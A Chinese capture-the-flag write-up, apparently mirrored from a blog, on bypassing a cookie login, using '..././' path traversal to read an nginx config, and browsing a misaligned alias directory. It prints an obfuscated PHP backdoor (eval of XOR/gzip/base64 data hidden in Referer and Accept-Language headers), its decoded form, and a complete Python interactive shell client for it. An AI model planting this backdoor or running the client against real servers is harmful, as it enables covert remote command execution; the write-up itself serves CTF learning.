zoukankan      html  css  js  c++  java
  • 攻防世界-web-Web_php_wrong_nginx_config(绕过登录、目录浏览、后门利用)

    进入场景后,提示需要登录

    尝试打开robots.txt页面,发现2个隐藏页面:hint.php和Hack.php

     

    依次访问

    访问hint.php,提示:配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

    访问Hack.php,无法访问,要求登录,但是登录功能点无法使用,抓包,发现cookie字段isLogin=0,猜测修改为1可绕过登录。

    修改为isLogin=1后,成功访问

    尝试了一遍,发现只有管理中心链接可以跳转

    跳转到如下页面

    http://220.249.52.133:47368/admin/admin.php?file=index&ext=php

    应该是文件包含

    • 尝试file=../../../../etc/passwd&ext=,页面除了少了please continue之外没有变化
    • 尝试file=index./&ext=php,页面没有please continue
    • 尝试file=index../&ext=php,页面有please continue
    • 尝试file=index.../&ext=php,页面有please continue

    有两种情况,一种是过滤了./,另一种是过滤了../,但第一次尝试,读取不成功,返回的页面中没有please continue,所以应该是过滤了../

    使用..././绕过过滤

    尝试访问file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=,成功找到配置文件。

    我们可以看到配置文件内容如下

    server { 
    listen 8080; 
    ## listen for ipv4; this line is default and implied listen [::]:8080; 
    ## listen for ipv6 root /var/www/html; 
    index index.php index.html index.htm; 
    port_in_redirect off; 
    server_name _; 
    # Make site accessible from http://localhost/ 
    #server_name localhost; 
    # If block for setting the time for the logfile if ($time_iso8601 ~ "^(d{4})-(d{2})-(d{2})") { set $year $1; set $month $2; set $day $3; } 
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html 
    sendfile off; 
    set $http_x_forwarded_for_filt $http_x_forwarded_for; 
    if ($http_x_forwarded_for_filt ~ ([0-9]+.[0-9]+.[0-9]+.)[0-9]+) 
    { set $http_x_forwarded_for_filt $1???; } 
    # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; 
    location / { 
    # First attempt to serve request as file, then 
    # as directory, then fall back to index.html 
    try_files $uri $uri/ /index.php?q=$uri&$args; 
    server_tokens off; 
    } 
    #error_page 404 /404.html; 
    # redirect server error pages to the static page /50x.html 
    # error_page 500 502 503 504 /50x.html; 
    location = /50x.html { 
    root /usr/share/nginx/html; 
    } 
    
    location ~ .php
    $ { 
    try_files $uri $uri/ /index.php?q=$uri&$args; 
    fastcgi_split_path_info ^(.+.php)(/.+)$; 
    fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; 
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; 
    fastcgi_param SCRIPT_NAME $fastcgi_script_name; 
    fastcgi_index index.php; include fastcgi_params; 
    fastcgi_param REMOTE_ADDR $http_x_forwarded_for; 
    } 
    
    location ~ /. { 
    log_not_found off; 
    deny all; 
    } 
    
    location /web-img { 
    alias /images/; 
    autoindex on; 
    } 
    
    location ~* .(ini|docx|pcapng|doc)$ { deny all; } 
    
    include /var/www/nginx[.]conf; 
    
    } 

    发现/web-img可以进行目录浏览,这里的url解析为/web-img,所以构造的路径需要直接添加在后,不需要再添加/

    访问web-img../

    依次尝试,我们找到了hack.php.bak

     

    点击链接将其下载下来,内容如下

    <?php
    $U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
    $q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
    $M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
    $z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
    $k='?:;q=0.([\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
    $o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
    $N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
    $C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
    $j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
    $R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
    $J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
    $x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\|U|Uw])[|U\w-]+|U(';
    $f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
    $g=create_function('',$f);
    $g();
    ?>

    代码经过了混淆,我们输出$f看看

    将输出美化后如下

    <?php
    $kh="42f7";
    $kf="e9ac";
    function x($t,$k) {
        $c=strlen($k);
        $l=strlen($t);
        $o="";
        for ($i=0;$i<$l;) {
            for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
                $o.=$t {
                    $i
                }
                ^$k {
                    $j
                }
                ;
            }
        }
        return $o;
    }
    $r=$_SERVER;
    $rr=@$r["HTTP_REFERER"];
    $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
    if($rr&&$ra) {
        $u=parse_url($rr);
        parse_str($u["query"],$q);
        $q=array_values($q);
        preg_match_all("/([w])[w-]+(?:;q=0.([d]))?,?/",$ra,$m);
        if($q&&$m) {
            @session_start();
            $s=&$_SESSION;
            $ss="substr";
            $sl="strtolower";
            $i=$m[1][0].$m[1][1];
            $h=$sl($ss(md5($i.$kh),0,3));
            $f=$sl($ss(md5($i.$kf),0,3));
            $p="";
            for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
            if(strpos($p,$h)===0) {
                $s[$i]="";
                $p=$ss($p,3);
            }
            if(array_key_exists($i,$s)) {
                $s[$i].=$p;
                $e=strpos($s[$i],$f);
                if($e) {
                    $k=$kh.$kf;
                    ob_start();
                    @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                    $o=ob_get_contents();
                    ob_end_clean();
                    $d=base64_encode(x(gzcompress($o),$k));
                    print("<$k>$d</$k>");
                    @session_destroy();
                }
            }
        }
    }
    ?>

    好吧,还有第二层混淆,具体的解释可以看大佬的博客

    附大佬的脚本和结果

    # encoding: utf-8
    
    
    from random import randint, choice
    from hashlib import md5
    import urllib
    import string
    import zlib
    import base64
    import requests
    import re
    
    
    def choicePart(seq, amount):
        length = len(seq)
        if length == 0 or length < amount:
            print 'Error Input'
            return None
        result = []
        indexes = []
        count = 0
        while count < amount:
            i = randint(0, length - 1)
            if not i in indexes:
                indexes.append(i)
                result.append(seq[i])
                count += 1
                if count == amount:
                    return result
    
    
    def randBytesFlow(amount):
        result = ''
        for i in xrange(amount):
            result += chr(randint(0, 255))
        return result
    
    
    def randAlpha(amount):
        result = ''
        for i in xrange(amount):
            result += choice(string.ascii_letters)
        return result
    
    
    def loopXor(text, key):
        result = ''
        lenKey = len(key)
        lenTxt = len(text)
        iTxt = 0
        while iTxt < lenTxt:
            iKey = 0
            while iTxt < lenTxt and iKey < lenKey:
                result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
                iTxt += 1
                iKey += 1
        return result
    
    
    def debugPrint(msg):
        if debugging:
            print msg
    
    
    # config
    debugging = False
    keyh = "42f7"  # $kh
    keyf = "e9ac"  # $kf
    xorKey = keyh + keyf
    url = 'http://220.249.52.133:47368/hack.php'
    defaultLang = 'zh-CN'
    languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
    proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debug
    
    sess = requests.Session()
    
    # generate random Accept-Language only once each session
    langTmp = choicePart(languages, 3)
    indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
    
    acceptLang = [defaultLang]
    for i in xrange(3):
        acceptLang.append(langTmp[i] % (indexes[i],))
    acceptLangStr = ','.join(acceptLang)
    debugPrint(acceptLangStr)
    
    init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
    md5head = (md5(init2Char + keyh).hexdigest())[0:3]
    md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3, 8))
    debugPrint('$i is %s' % (init2Char))
    debugPrint('md5 head: %s' % (md5head,))
    debugPrint('md5 tail: %s' % (md5tail,))
    
    # Interactive php shell
    cmd = raw_input('phpshell > ')
    while cmd != '':
        # build junk data in referer
        query = []
        for i in xrange(max(indexes) + 1 + randint(0, 2)):
            key = randAlpha(randint(3, 6))
            value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12)))
            query.append((key, value))
        debugPrint('Before insert payload:')
        debugPrint(query)
        debugPrint(urllib.urlencode(query))
    
        # encode payload
        payload = zlib.compress(cmd)
        payload = loopXor(payload, xorKey)
        payload = base64.urlsafe_b64encode(payload)
        payload = md5head + payload
    
        # cut payload, replace into referer
        cutIndex = randint(2, len(payload) - 3)
        payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
        iPiece = 0
        for i in indexes:
            query[i] = (query[i][0], payloadPieces[iPiece])
            iPiece += 1
        referer = url + '?' + urllib.urlencode(query)
        debugPrint('After insert payload, referer is:')
        debugPrint(query)
        debugPrint(referer)
    
        # send request
        r = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)
        html = r.text
        debugPrint(html)
    
        # process response
        pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))
        output = pattern.findall(html)
        if len(output) == 0:
            print 'Error,  no backdoor response'
            cmd = raw_input('phpshell > ')
            continue
        output = output[0]
        debugPrint(output)
        output = output.decode('base64')
        output = loopXor(output, xorKey)
        output = zlib.decompress(output)
        print output
        cmd = raw_input('phpshell > ')
    View Code

    参考:

    https://www.cnblogs.com/go2bed/p/5920811.html

    https://www.cnblogs.com/R3col/p/13390419.html

  • 相关阅读:
    Docker之Harbor
    idea 代码块编辑(批量列编辑)快捷键 -- idea version 2018 不常用
    mysql 去除表中重复的数据,保留id最小的数据信息
    打家劫舍(动态规划+滚动数组+取模运算优化)
    利用线程异步调用
    idea 2019激活码
    mysql导出PDM表结构并带有注释
    安装GO
    GO语言
    项目启动
  • 原文地址:https://www.cnblogs.com/zhengna/p/13679923.html
Copyright © 2011-2022 走看看